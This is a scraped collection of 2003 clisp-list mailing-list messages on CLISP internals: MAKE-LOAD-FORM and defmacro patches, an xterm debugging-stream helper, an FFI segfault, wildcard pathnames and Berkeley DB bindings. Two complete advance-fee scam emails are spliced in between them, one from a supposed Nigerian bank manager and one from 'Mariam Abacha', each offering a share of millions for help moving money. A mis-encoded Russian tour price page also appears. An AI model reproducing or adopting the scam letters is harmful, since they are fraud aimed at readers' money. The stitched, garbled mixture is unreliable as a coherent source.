-                            (if (constantp form) form (list 'quote form))))))
-           (unquote (cadr form))))
-        (t (cons (mlf-unquote var (car form))
-                 (mlf-unquote var (cdr form))))))
-
 (defun mlf-init-function (object)
   (multiple-value-bind (cre-form ini-form) (make-load-form object)
     (if ini-form
         (let ((var (gensym)))
           `(lambda ()
             (let ((,var ,cre-form))
-              ,(mlf-unquote var (nsubst var object ini-form))
+              ,(nsubst var object ini-form)
               ,var)))
         `(lambda () ,cre-form))))
 


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> * In message <m33cki5y87.fsf@loiso.podval.org>
> * On the subject of "Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2"
> * Sent on 16 Apr 2003 10:11:04 -0400
> * I write:
>
> > * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
> >
> > [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4))))
> > Segmentation fault
> 
> I do not observe this with
> gcc (GCC) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2)

I _do_ observe this crash with gcc 3.2.1 when compiled with -O2.
I do _not_ observe it when compiled with -g -O0.

this is yet another instance where -O2 vs -g makes a difference.
(see also <https://sourceforge.net/tracker/?func=detail&atid=101355&aid=710737&group_id=1355>)

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de>
> * On the subject of "RFE: debugging in separate window"
> * Sent on Fri, 11 Apr 2003 14:02:18 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> please have a short look at impnotes:
> Extensions-2.12. Other
> To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console windows (thus keeping your standard console window clean from error messages) you can use:
>        (SETQ *ERROR-OUTPUT*
>          (SETQ *DEBUG-IO*
>            (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE"
>                    :DIRECTION :IO)))

UNIX:

(defun make-xterm-io ()
  (let* ((pipe (read-line (make-pipe-input-stream "mktemp fooXXXXXX")))
         tty-name xio)
    (shell (format nil "rm -f ~a; mknod ~a p; xterm -e 'tty >> ~a; cat ~a' &"
                   pipe pipe pipe pipe))
    (setq tty-name
          (with-open-file (s pipe :direction :input) (read-line s))
          xio (make-two-way-stream
               (open tty-name :direction :input)
               (open tty-name :direction :output)))
    (finalize xio (lambda (junk)
                    (declare (ignore junk))
                    (with-open-file (s pipe :direction :output)
                      (format s "goodbye!~%"))
                    (delete-file pipe)))
    xio))

(SETQ *ERROR-OUTPUT*
      (SETQ *DEBUG-IO* (make-xterm-io)))

the xterm will go when the stream is GCed, which will happen at a
non-deterministic time.

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PROFESSOR FRANK OBI
BRANCH MANAGER=2C
UNITED BANK FOR AFRICA PLC
ILUPEJU BRANCH
LAGOS NIGERIA
TELEPHONE=3A 234-1-776 0962
FAX=3A 234-1-759-4725                               
 
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I am the manager of United Bank for Africa Plc =28UBA=29=2C Ilupeju branch=2C Lagos Nigeria=2E

The intended business is thus=3B 
We had a customer=2C a Foreigner =28a Turkish=29 resident in Nigeria=2C who was a Contractor with one of the Government Parastatals=2E

He had in his Account in my branch the sum of US 38=2E6 Million =28Thirty Eight Million=2C Six Hundred Thousand U=2ES=2E Dollars=29=2E
 
Unfortunately=2C the man died four years ago until today non-of his next of kin has come forward to claim the money=2E 

Having noticed this=2C I in collaboration with two other top Officials of the bank have covered up the account all this while=2E  

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We will use our positions to get all internal documentations to back up the claims =2EThe whole procedures will last only five working days to get the fund retrieved successfully without trace even now or in future=2E
 
Your response is only what we are waiting for as we have perfected all modalities to ensure the hitch free success of this transaction=2E things=2E

As soon as this message comes to you kindly get back to me indicating your interest=2C then I will furnish you with the whole procedures to ensure that the deal is successfully concluded=2E 

For your assistance we have agreed to give you twenty five percent =2825%=29 of the Total sum at the end of the transaction while 65% would be for my colleagues and I and the remaining 10% would be for any form of expenses that may be incurred during the course of the transaction which would be given to us when the money is transferred into your account before splitting the balance on the agreed percentage of 65% to 25%=2E 
 
I await your earliest response=2E  

Thanks=2C 

Yours Sincerely

Professor Frank Obi









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Here is the final version:

(defun make-xterm-io ()
  (let* ((pipe (with-open-stream (s (make-pipe-input-stream
                                     "mktemp /tmp/clisp-x-io-XXXXXX"))
                 (read-line s)))
         (title "CLISP query IO")
         tty-name xio
         (clos::*warn-if-gf-already-called* nil))
    (shell (format nil "rm -f ~a; mknod ~a p; ~
                   xterm -n ~s -T ~s -e 'tty >> ~a; cat ~a' &"
                   pipe pipe title title pipe pipe))
    (setq tty-name
          (with-open-file (s pipe :direction :input) (read-line s))
          xio (make-two-way-stream
               (open tty-name :direction :input)
               (open tty-name :direction :output)))
    (defmethod close :after ((x (eql xio)) &rest junk)
      (declare (ignore x junk))
      (with-open-file (s pipe :direction :output)
        (format s "goodbye!~%"))
      (delete-file pipe)
      (close (two-way-stream-input-stream xio))
      (close (two-way-stream-output-stream xio))
      (let ((clos::*warn-if-gf-already-called* nil))
        (remove-method #'close (find-method #'close '(:after) `((eql ,xio))))))
    xio))

(with-open-stream (*query-io* (make-xterm-io)) (y-or-n-p "foo?"))

please try it.


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> * In message <878yumbqwm.fsf@dishevelled.net>
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> * Sent on Mon, 07 Apr 2003 19:25:29 +1000
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> I've hit a bit of a stumbling block with some code I'm working on. I
> have a file called "hello?.txt" (unix filesystem) that I'm trying to
> open using (with-open-file ..), but I'm getting the following:
>
>   [1]> (with-open-file (test "hello?" :direction :input))
>   *** - wildcards are not allowed here: #P"hello?"

CLHS is quite explicit on OPEN:

 An error of type file-error is signaled if (wild-pathname-p filespec)
 returns true.

It is possible to add an keyword option to OPEN to circumvent it, but
it will not be portable.
Maybe it would be better to avoid such pathnames?

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> 
> My first test function (fact) gives a segmentation fault after about 120
> recursions. (fact 100) works, but (fact 120) gives a seg. fault.
> 
> I tried setting the memory limit higher to 200MB, but the problem
> remained. Even on the default 2 MB stack I am surprised that it would
> crash so quickly. Does anyone know the cause / solution of/to this
> problem.

try rebuilding it with libsigsegv.
see <http://clisp.cons.org/faq.html#stack>

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Sam Steingold <sds@gnu.org> writes:

> please try the appended patch.

[ and on clisp-devel CVS digest: ]
> Log Message:
> (mlf-unquote): removed (use SUBLIS instead)

Oh, damn, I was about to tell you that the patch you sent me didn't
work (specifically, caused failure modes in sbcl's build) :-/

However, let me mix in some good news with the bad: with a lightly
frobbed version of MLF-UNQUOTE (and nothing else unchanged in
loadform.lisp) and a fix to defmacro.lisp, the version of clisp I have
now successfully compiles SBCL.  (well, more or less; there are some
residual bugs that I haven't yet sorted out, but it's basically
there).

So.  Here's what I have for MLF-UNQUOTE:

(defun mlf-unquote (var form)
  ;; replace '(... var ...) with `(... ,var ...)
  ;; (setq v 10)
  ;; (mlf-unquote 'v ''(1 (2 (b c) v d (a)))) ==>
  ;; (LIST 1 (LIST 2 '(B C) V 'D '(A)))
  (cond ((atom form) form)
        ((eq (car form) 'quote)
         (labels ((find-var (tree)
                    (if (atom tree) (eq var tree)
                        (or (find-var (car tree)) (find-var (cdr tree)))))
                  (unquote (form)
                    (if (consp form)
                        (if (find-var form)
                            (cons 'list (mapcar #'unquote form))
                            (list 'quote form))
                        (if (eq form var) form
                            (list 'quote form)))))
           (unquote (cadr form))))
        (t (cons (mlf-unquote var (car form))
                 (mlf-unquote var (cdr form))))))

My reasoning is that the call to CONSTANTP looked like it really
wanted to be a call to a putative SELF-EVALUATING-P, and as such was
performing a very light optimization.  I don't know if what I have now
is equivalent to what you have (in a sense, I'm scared to cvs upgrade
as I chase the residual bugs :-) but that's what I have that seems to
work.  The version with the patch you sent me blows up with an error
of the form 
  *** SYSTEM:%STRUCTURE-REF:  #:G1234 is not of type LAYOUT
(I forget the exact wording, but it was definitely a manifestation of
insufficient evaluation at some stage).

Also, please find attached a hacky patch to defmacro.lisp.  The
symptom it cures is:
  (defmacro foo (&key (b t)) (if b 'c 'd))
  (macroexpand '(foo)) -> C
  (macroexpand '(foo :b nil)) -> C ; should be D
but you will want to replace the :%magic keyword with a fresh cons or
a gensym or some other object that can't appear in an argument list.
I hope that the general idea is clear, anyway.  Oh, and I may not be
getting it right with multiple evaluation -- that may be something
else to check.


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Content-Description: defmacro/getf fix

Index: src/defmacro.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/defmacro.lisp,v
retrieving revision 1.13
diff -u -r1.13 defmacro.lisp
--- src/defmacro.lisp	25 Mar 2003 20:04:19 -0000	1.13
+++ src/defmacro.lisp	19 Apr 2003 09:07:25 -0000
@@ -175,9 +175,12 @@
                             (cons `(,(car next)
                                      ;; the default value should not be
                                      ;; evaluated unless it is actually used
-                                     (or (GETF ,restvar ,kw)
-                                         ,@(when svar `((setq ,svar nil)))
-                                         ,(cadr next)))
+                                     (if (eq (GETF ,restvar ,kw :%magic)
+					     :%magic)
+					 (progn
+					  ,@(when svar `((setq ,svar nil)))
+					  ,(cadr next))
+					 (getf ,restvar ,kw)))
                                   %let-list))
                       (setq kwlist (cons kw kwlist)))
                      ((not (and (consp (car next)) (symbolp (caar next)) (consp (cdar next))))
@@ -190,9 +193,12 @@
                         (setq %let-list (cons `(,svar t) %let-list)))
                       (setq %let-list
                             (cons `(,(cadar next)
-                                     (or (GETF ,restvar ,kw)
-                                         ,@(when svar `((setq ,svar nil)))
-                                         ,(cadr next)))
+                                     (if (eq (GETF ,restvar ,kw :%magic)
+					     :%magic)
+					 (progn
+					   ,@(when svar `((setq ,svar nil)))
+					   ,(cadr next))
+					 (getf ,restvar ,kw)))
                                   %let-list))
                       (setq kwlist (cons kw kwlist)))
                      (t ; subform
@@ -206,9 +212,12 @@
                       (when svar
                         (setq %let-list (cons `(,svar t) %let-list)))
                       (setq %let-list
-                            (cons `(,g (or (GETF ,restvar ,kw)
-                                           ,@(when svar `((setq ,svar nil)))
-                                           ,(cadr next)))
+                            (cons `(,g (if (eq (getf ,restvar ,kw :%magic)
+					       :%magic)
+					   (progn
+					     ,@(when svar `((setq ,svar nil)))
+					     ,(cadr next))
+					   (getf ,restvar ,kw)))
                                   %let-list))
                       (setq kwlist (cons kw kwlist))
                       (let ((%min-args 0) (%arg-count 0) (%restp nil)

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> * In message <sq8yu634zb.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets"
> * Sent on Sat, 19 Apr 2003 16:02:32 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> I don't know if what I have now is equivalent to what you have (in a
> sense, I'm scared to cvs upgrade as I chase the residual bugs :-) but
> that's what I have that seems to work.  The version with the patch you
> sent me blows up with an error of the form
>   *** SYSTEM:%STRUCTURE-REF:  #:G1234 is not of type LAYOUT
> (I forget the exact wording, but it was definitely a manifestation of
> insufficient evaluation at some stage).

what I have in the CVS now is different from what I sent you.
it should work unless your MAKE-LOAD-FORM method does something really
weird, like '(... <object> ...).

please do try it, and if it does not work, send me the MAKE-LOAD-FORM
method on which it breaks.

>   (defmacro foo (&key (b t)) (if b 'c 'd))
>   (macroexpand '(foo)) -> C
>   (macroexpand '(foo :b nil)) -> C ; should be D

I introduced this bug while fixing your previous bug.
should be fixed now.

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Sam Steingold <sds@gnu.org> writes:

> please do try it, and if it does not work, send me the MAKE-LOAD-FORM
> method on which it breaks.
>
>>   (defmacro foo (&key (b t)) (if b 'c 'd))
>>   (macroexpand '(foo)) -> C
>>   (macroexpand '(foo :b nil)) -> C ; should be D
>
> I introduced this bug while fixing your previous bug.
> should be fixed now.

Heh, thanks.  OK, I'll try to give it a spin later this weekend and
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Pascal Bourguignon <pjb@informatimago.com> writes:

> Sam Steingold writes:

[...]

>> CLHS is quite explicit on OPEN:
>> 
>>  An error of type file-error is signaled if (wild-pathname-p filespec)
>>  returns true.
>> 
>> It is possible to add an keyword option to OPEN to circumvent it, but
>> it will not be portable.
>> Maybe it would be better to avoid such pathnames?

Absolutely, but unfortunately I'm at the mercy of whatever bogus names
people have decided to give their files :o)

> Or to use  a unix API (linux package in clisp).  See the current POSIX
> thread on comp.lang.lisp...

Thanks for the suggestions. Given that the hyperspec makes it clear that
an error should be signalled (sorry to have missed that), the behaviour
is understandable. The linux package should do the trick for my purposes
anyway.

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Mark

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Christophe Rhodes <csr21@cam.ac.uk> writes:

> Sam Steingold <sds@gnu.org> writes:
>
>> please do try it, and if it does not work, send me the MAKE-LOAD-FORM
>> method on which it breaks.
>>
>>>   (defmacro foo (&key (b t)) (if b 'c 'd))
>>>   (macroexpand '(foo)) -> C
>>>   (macroexpand '(foo :b nil)) -> C ; should be D
>>
>> I introduced this bug while fixing your previous bug.
>> should be fixed now.
>
> Heh, thanks.  OK, I'll try to give it a spin later this weekend and
> will report back as soon as I can :-)

I've done this, and the build has just gone to completion.

Cheers,

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Hoehle, Joerg-Cyril writes:

 > I still believe modules is a way to go to interface to foreign
 > stuff. That implies C code, be it automatically generated or
 > not. This C code should then contain the offsets and other
 > architecture/platform dependent forms. Let the .fas file and Lisp
 > code remain free of that.

good point! I'll follow this approach.

 > >returned function prototype could be a problem: every DB fuction has
 > >its own parameter list. Probably the C factory function should return
 > I don't understand this.

well, different DB functions have different argument lists. For example:

int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags);

int DB->open(DB *db, DB_TXN *txnid, const char *file,const char *database, 
             DBTYPE type, u_int32_t flags, int mode);

In C the factory function could probably be declared as

typedef int (*db_function) (/* we can't specify argument list! */);
db_function ff_factory (DB *dbp, int function_type)
{
 [...]
}

It would be better to specify arguments in the db_function type
definition, but the C compiler can work without them. How should such
a foreign function be defined in CLISP? What return type should we use?

(def-call-out ff-factory
  (:name "ff_factory")
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  (:return-type ???))


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Sam Steingold writes:
 > > * In message <m33cki5y87.fsf@loiso.podval.org>
 > > * On the subject of "Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2"
 > > * Sent on 16 Apr 2003 10:11:04 -0400
 > > * I write:
 > >
 > > > * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
 > > >
 > > > [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4))))
 > > > Segmentation fault
 > > 
 > > I do not observe this with
 > > gcc (GCC) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2)
 > 
 > I _do_ observe this crash with gcc 3.2.1 when compiled with -O2.
 > I do _not_ observe it when compiled with -g -O0.

I had also to add -falign-functions=4 to CFLAGS. Without it, lisp.run
prints the following error message when it is executed by make:

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
C_CODE_ALIGNMENT is wrong. &EVAL-WHEN = 0x806abd2.
Add -falign-functions=4 to CFLAGS in the Makefile.
make: *** [interpreted.mem] Aborted

 > this is yet another instance where -O2 vs -g makes a difference.

the problem seems to be in the code generated by gcc for foreign.c,
probably for the function C_cast. I tried to compile it without "-O2
-fexpensive-optimizations" and all the other C modules with the usual
CFLAGS, and the resulting lisp.run passed the testsuite and the CAST
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Thanks to Axel Thimm, CLISP RPMs are now available to the RedHat users
via a simple "apt-get install clisp" command.

All RH users are urged to try these RPMs now!

	http://atrpms.physik.fu-berlin.de/name/clisp/


Thanks Axel!


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According to the CLHS (not directly), an implementation should provide  
an implementation dependent way of quoting the implementation dependent  
wild characters in the pathname component and/or namestring.  Here is  
the relevant bit.

======================================================================== 
=========================================

  19.2.2.1.1 Special Characters in Pathname Components

Strings in pathname component values never contain special characters  
that represent separation between pathname fields, such as slash in  
Unix filenames. Whether separator characters are permitted as part of a  
string in a pathname component is implementation-defined; however, if  
the implementation does permit it, it must arrange to properly  
``quote'' the character for the file system when constructing a  
namestring. For example,

  ;; In a TOPS-20 implementation, which uses ^V to quote
  (NAMESTRING (MAKE-PATHNAME :HOST "OZ" :NAME "<TEST>"))
=>  #P"OZ:PS:^V<TEST^V>"
NOT=>  #P"OZ:PS:<TEST>"


======================================================================== 
=========================================

It would look like that (by extension), you should be able to do  
something like

	(open "hello^V?" .....)

However, this is going to be completely implementation dependent.

As a personal preference, I wouldn't mix UNIX shell wildcards with CL  
pathname components.  After all the C library does not care about '?'  
in file names.

Cheers

Marco


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>> * In message <878yumbqwm.fsf@dishevelled.net>
>> * On the subject of "[clisp-list] Using filenames which contain  
>> wildcard characters"
>> * Sent on Mon, 07 Apr 2003 19:25:29 +1000
>> * Honorable Mark Triggs <mst@dishevelled.net> writes:
>>
>> I've hit a bit of a stumbling block with some code I'm working on. I
>> have a file called "hello?.txt" (unix filesystem) that I'm trying to
>> open using (with-open-file ..), but I'm getting the following:
>>
>>   [1]> (with-open-file (test "hello?" :direction :input))
>>   *** - wildcards are not allowed here: #P"hello?"
>
> CLHS is quite explicit on OPEN:
>
>  An error of type file-error is signaled if (wild-pathname-p filespec)
>  returns true.
>
> It is possible to add an keyword option to OPEN to circumvent it, but
> it will not be portable.
> Maybe it would be better to avoid such pathnames?
>
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	<td>Çàâòðàê. Îáçîðíàÿ ýêñêóðñèÿ <b><i>"Âåñåííèé Ïåòåðáóðã"</i></b> ñ îñìîòðîì àðõèòåêòóðíûõ àíñàìáëåé Ïàðàäíîãî Ïåòåðáóðãà, â õîäå êîòîðîé òóðèñòû ïîñåòÿò ëåãåíäàðíûé êðåéñåð <b><i>"Àâðîðà"</i></b>, îðàíæåðåþ <b><i>Òàâðè÷åñêîãî ñàäà, Àëåêñàíäðî-Íåâñêóþ Ëàâðó, Êàçàíñêèé ñîáîð, Íèêîëüñêèé ñîáîð,</i></b> Ýêñêóðñèÿ ïî <b><i>Ïåòðîïàâëîâñêîé êðåïîñòè</i></b> - ïåðâîå ñîîðóæåíèå ãîðîäà. Øïèëü ñîáîðà - âûñî÷àéøàÿ òî÷êà ãîðîäà. Ýêñêóðñèÿ â <b><i>Èñààêèåâñêèé ñîáîð</i></b> (áåç êîëîííàäû). Âîçâðàùåíèå â ãîñòèíèöó. Íî÷íàÿ ýêñêóðñèÿ <b><i>"Òàéíû ñïÿùåãî ãîðîäà" ñ ðàçâîäêîé ìîñòîâ</i></b>.</td>
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	<td>Çàâòðàê â êàôå ãîñòèíèöû. Îòúåçä îò ãîñòèíèöû. Ïîñåùåíèå ÷àñîâíè Êñåíèè  Ïåòåðáóðæñêîé. Ýêñêóðñèÿ â Êðîíøòàäò. Ýêñêóðñèÿ â <b><i>Èñààêèåâñêèé ñîáîð</i></b> (áåç êîëîííàäû). Îòúåçä èç Ïåòåðáóðãà â <b><i>20:00</i></b> </td>
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	<td align="center" valign="top"><b>5 äåíü</b></td>
	<td>Ïðèáûòèå â Ìîñêâó <b><i>ïî ïîíåäåëüíèêàì â 08:00</i></b>.</td>
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<p><center><b><i>Ñòîèìîñòü òóðà íà ÷åëîâåêà â ðóáëÿõ:</i></b></center>

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	<td><b><i>Ãîñòèíèöà*</i></b></td>
	<td><b><i>Ïðè 2-õ-ìåñòíîì</i></b></td>
	<td><b><i>Äîïëàòà çà 1-ìåñòíûé</i></b></td>
	<td><b><i>Ñêèäêà íà 3-åãî â íîìåðå</i></b></td>
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	<td align="left">"Íèâà-ÑÂ"</td>
	<td>4.100**</td>
	<td>1.200</td>
	<td>150</td>
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<tr align="center">
	<td align="left">"íà Àâèàêîíñòðóêòîðîâ"</td>
	<td>4.000**</td>
	<td>1.000</td>
	<td>150</td>
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	<td align="left">"×àéêà"</td>
	<td>4.300**</td>
	<td>1.000</td>
	<td>150</td>
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	<td align="left">"Îðáèòà"</td>
	<td>4.300</td>
	<td>1.200</td>
	<td>220</td>
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	<td align="left">"Êàðåëèÿ"</td>
	<td>4.800</td>
	<td>700</td>
	<td>100</td>
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<p>*Èëè ðàâíîöåííàÿ
<br><b><i>**Îðãàíèçîâàííûì ãðóïïàì ñêèäêà 10 ïðîöåíòîâ</i></b>

<p><center><b>Ñêèäêà äåòÿì - 150 ðóá.</b></center>


<p>Òåïëîõîäíàÿ ïðîãóëêà ïî ðåêàì è êàíàëàì (1 ÷àñ) - (~)180 ðóá./÷åë.
<p>Íî÷íàÿ ýêñêóðñèÿ <b><i>"Òàéíû ñïÿùåãî ãîðîäà"</i></b> ñ ðàçâîäêîé ìîñòîâ. - (~)180 ðóá./÷åë.

<p>Ñòîèìîñòü òóðà âêëþ÷àåò: êîìôîðòàáåëüíûé àâòîáóñ íà ìàðøðóòå, ïðîæèâàíèå â ãîñòèíèöå "Íèâà-ÑÂ" (ñò. ì. "Êèðîâñêèé çàâîä"), â ãîñòèíèöå "×àéêà" (ñò. ì. "Ïðèìîðñêàÿ") èëè â ãîñòèíèöå "íà Àâèàêîíñòðóêòîðîâ" (ñò. ì. "Ïèîíåðñêàÿ") â 2-õ-ìåñòíûõ íîìåðàõ ñ óäîáñòâàìè, ïèòàíèå - çàâòðàêè, ýêñêóðñèîííàÿ ïðîãðàììà, âõîäíûå áèëåòû, ñîïðîâîæäåíèå ãèäîì-ýêñêóðñîâîäîì êàæäûé äåíü. 
<p>Ôèðìà îñòàâëÿåò çà ñîáîé ïðàâî èçìåíåíèÿ ýêñêóðñèîííîé ïðîãðàììû ïî äíÿì, ñ óñëîâèåì âûïîëíåíèÿ åå â ïîëíîì îáúåìå.
<p>Ïî âîïðîñàì ïðèîáðåòåíèå ïóò¸âîê îáðàùàòüñÿ ïî òåë. <font size="+1"><b>(095) 163-7093, 505-6280</b></font> 
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Dear all,

I am trying to build clips 2.30 on my PowerBook G4 with Mac OS X 10.2.5

1)
I first got some error in the log while doing the configuration :=20
problems with the "avcall-rs6000.c" file but it did not seemed to=20
harmfull for the process.

2)
I was then prompted with  how to continue, however with a problem of=20
stack size I was not able to solve.

# The default stack size on your platform is insufficient
# and must be increased to at least 8192.  You must do either
#    'ulimit -s 8192' (for Bourne shell derivarives, e.g., bash and=20
zsh) or
#    'limit stacksize 8192' (for C shell derivarives, e.g., tcsh)


The commands were not understood by my bash shell.

3)
The "./makemake > Makefile" went fine.

4)
The "make config.lisp" went fine also

5)
I edited the config.lisp file to set up an editor and the site names

6)
The make went bad.

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type =20
-fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE=20=

-DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
lispbibl.d:1950: unbalanced #endif
lispbibl.d:6683: unterminated #else conditional
spvw_objsize.d:110: unterminated #else conditional
make: *** [spvw.o] Error 1

So I made it step by step.

make inti delivered the following message "test -d bindings || mkdir -p=20=

bindings"
make allc delivered the following message "test -d bindings || mkdir -p=20=

bindings"
make lisp.run delivered the following error message :

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type =20
-fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE=20=

-DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
lispbibl.d:1950: unbalanced #endif
lispbibl.d:6683: unterminated #else conditional
spvw_objsize.d:110: unterminated #else conditional
make: *** [spvw.o] Error 1


Thank you for any help.


Amiti=E9s, Herv=E9.

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<fontfamily><param>Geneva</param>Dear all,


I am trying to build clips 2.30 on my PowerBook G4 with Mac OS X 10.2.5


1)

I first got some error in the log while doing the configuration :
problems with the "avcall-rs6000.c" file but it did not seemed to
harmfull for the process.


2)

I was then prompted with  how to continue, however with a problem of
stack size I was not able to solve.=20


</fontfamily><fontfamily><param>Courier</param># The default stack
size on your platform is insufficient

# and must be increased to at least 8192.  You must do either

#    'ulimit -s 8192' (for Bourne shell derivarives, e.g., bash and
zsh) or

#    'limit stacksize 8192' (for C shell derivarives, e.g., =
tcsh)</fontfamily><fontfamily><param>Geneva</param>



The commands were not understood by my bash shell.


3)

The "./makemake > Makefile" went fine.


4)

The "</fontfamily><fontfamily><param>Courier</param>make
config.lisp</fontfamily><fontfamily><param>Geneva</param>" went fine
also


5)

I edited the
=
</fontfamily><fontfamily><param>Courier</param>config.lisp</fontfamily><fo=
ntfamily><param>Geneva</param> file
to set up an editor and the site names


6)

The
=
</fontfamily><fontfamily><param>Courier</param>make</fontfamily><fontfamil=
y><param>Geneva</param> went
bad.


</fontfamily><fontfamily><param>Courier</param>gcc -W -Wswitch
-Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=20
-fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE
-DNO_GETTEXT -DNO_SIGSEGV -c spvw.c

lispbibl.d:1950: unbalanced #endif

lispbibl.d:6683: unterminated #else conditional

spvw_objsize.d:110: unterminated #else conditional

make: *** [spvw.o] Error 1</fontfamily><fontfamily><param>Geneva</param>


So I made it step by step.


</fontfamily><fontfamily><param>Courier</param>make
inti</fontfamily><fontfamily><param>Geneva</param> delivered the
following message "</fontfamily><fontfamily><param>Courier</param>test
-d bindings || mkdir -p
bindings</fontfamily><fontfamily><param>Geneva</param>"

</fontfamily><fontfamily><param>Courier</param>make
allc</fontfamily><fontfamily><param>Geneva</param> delivered the
following message "</fontfamily><fontfamily><param>Courier</param>test
-d bindings || mkdir -p
bindings</fontfamily><fontfamily><param>Geneva</param>"

</fontfamily><fontfamily><param>Courier</param>make
lisp.run</fontfamily><fontfamily><param>Geneva</param> delivered the
following error message :


</fontfamily><fontfamily><param>Courier</param>gcc -W -Wswitch
-Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=20
-fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE
-DNO_GETTEXT -DNO_SIGSEGV -c spvw.c

lispbibl.d:1950: unbalanced #endif

lispbibl.d:6683: unterminated #else conditional

spvw_objsize.d:110: unterminated #else conditional

make: *** [spvw.o] Error 1

</fontfamily><fontfamily><param>Geneva</param>


Thank you for any help.



Amiti=E9s, Herv=E9.


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GETA-CLIPS

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Dear Sir=2C

It is with a heart full of hope that I write you=2C my
name is Mariam Abacha=2C the wife of the late Nigerian President
=28Gen=2E Ibrahim Sani Abacha=29=2E During my husband's reign
as a president most of his activities=2C especially his
financial involvement and transactions=2C I'm always 
involved because of my educational qualification as an
economist=2E

Events happened so fast in 1998 that the death of my
husband was announced=2E Since then my family had been in
shamble=2EThe next government that moved to power=2C due to hatred
that exist between them and my husband=2C they 
seized all our assets=2C freezed all our account both
home and abroad=2E In 1999 my first son=22MUSTAPHA=22 tried to move out
of the country with some boxes containing money =28U=2ES$
dollars=29 but unfortunately he was napped by the govt 
officials at the Airport and all the money was seized=2E
Since then all the family travelling document has been
seized from us and we have been put under heavy
surveillance=2E You can confirm this inweb site at 
www=2ENigeria=2Ecom on
abacharecovredloot=2Fwww=2Ethisdayonline=2Ecom 

My first son has been apprehended by the present
govt for murder case which he know nothing about just
to tell you how we have been molesed by the present
govt=2E As God may have it my son did not move out
with all the boxes=2C Two of the boxes were left and
when I heard of her problem at the airport=2C I smartly
removed the remaining boxes=2E Since it appears that it 
was the only money left for the running of the family=2E
With the help of a good family friend I smuggled the
boxes which contains US$60M dollars 
out and deposited it with a security company=2C of which
I declared it to them as family embodiment and
Antiquities=2E

I have acquainted my son about the latest
development and he was so pleased with it=2E But he
advice me to be very careful with the money 
because that is the last hope of the family since our
money has been seized and also our businesses=2C but I
don't know why my family=2C should be going
through all this kind of troubles=3F

Our main reason of writing you is for you to come to
our rescue of securing this money to your country of
which we will all move there to 
start a new life=2E What we need from you is to move the
money from the Security Company and transfer it
through a bank to your own country=2C as you 
know that we cannot present the money ourselves to a
bank here in Africa as we are under surveillance=2E

I have agreed with my family members to give to you
25% of the total amount and also you will be a
signatory to any of our investment abroad=2E

Thanks and God bless=2E 
Awaiting your soonest reply=2E

Yours sincerely=2C 
MARIAM ABACHA=2E




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Date: Thu Apr 24 01:25:04 2003
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Aurelio Bignoli wrote:
>well, different DB functions have different argument lists. 

>int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, 
>u_int32_t flags);

>int DB->open(DB *db, DB_TXN *txnid, const char *file,const 
>char *database, 
>             DBTYPE type, u_int32_t flags, int mode);

> How should such
>a foreign function be defined in CLISP? What return type should we use?
>(def-call-out ff-factory
>  (:name "ff_factory")
>  (:arguments (db (c-ptr DB :in)) (function-type int :in))
>  (:return-type ???))

One way would be to use C-POINTER just to get the address, and then construct foreign-function objects with this address.

Another would be the following (unportable, not recommended): return a pointer to the offset in the DB structure where the functions lay (or duplicate the whole structure in Lisp), and use
  (:arguments
   (db-ffs                              :out
     (c-struct list
      (get (c-function (:arguments (db c-pointer) ...) ...))
      (put (c-function ...))))
The FFI would then construct the foreign-function objects.

I suggest the following. I recently said that this DB->get is like accessing foreign functions off a dynamic library base pointer.

You need the following function signatures:
DB * function-name -> foreign-address
foreign-address * foreign-function-type -> foreign-function-object

The former you have to write, the latter can be used as FOREIGN-ADDRESS-FUNCTION, which was both in my ffi hacks toolbox, in my dynload patch, both sent to this list, but not yet in CVS CLISP.
You could also merge these two functions into one. That's what e.g. FFI::lookup-foreign-function does in foreign.d for the functions found in a module:
DB * function-name * ff-type -> ff-object

The former allows more work to be done at Lisp-level, which you may appreciate. The difference is really minor.

Here's the first function
enum {get, put, ...}
// I hereby choose to have Lisp pass known integers as representing the different functions.
// An alternative would be to have the C code dispatch on symbols such as GET, PUT etc. utils/MODPREP helps writing modules that access Lisp objects.
// You choose.
void* bdb_entry_point(DB* db, enum) {
  switch (enum) {
    case get: return &(DB->get);
    case put: return &(DB->put);
}

Here's some matching Lisp
(defun db-factory (DB name)
  (declare (type foreign-address DB)) ; maybe use (foreign-pointer type)?
  (declare-or-assert symbol name)
  (ffi:foreign-address-function
    ;; address
    (bdb-entry-point (name-to-bdb-index name))
    ;; c-type
    (ecase name
      (GET
       (load-time-value
        (ffi::parse-c-function
         '(c-function
            (:arguments (db c-pointer) (db-txn c-pointer) #)
            (:return-type ...) (:language :stdc))))))
    ;; name for printing #<FOREIGN-FUNCTION ...> (informative)
    name))

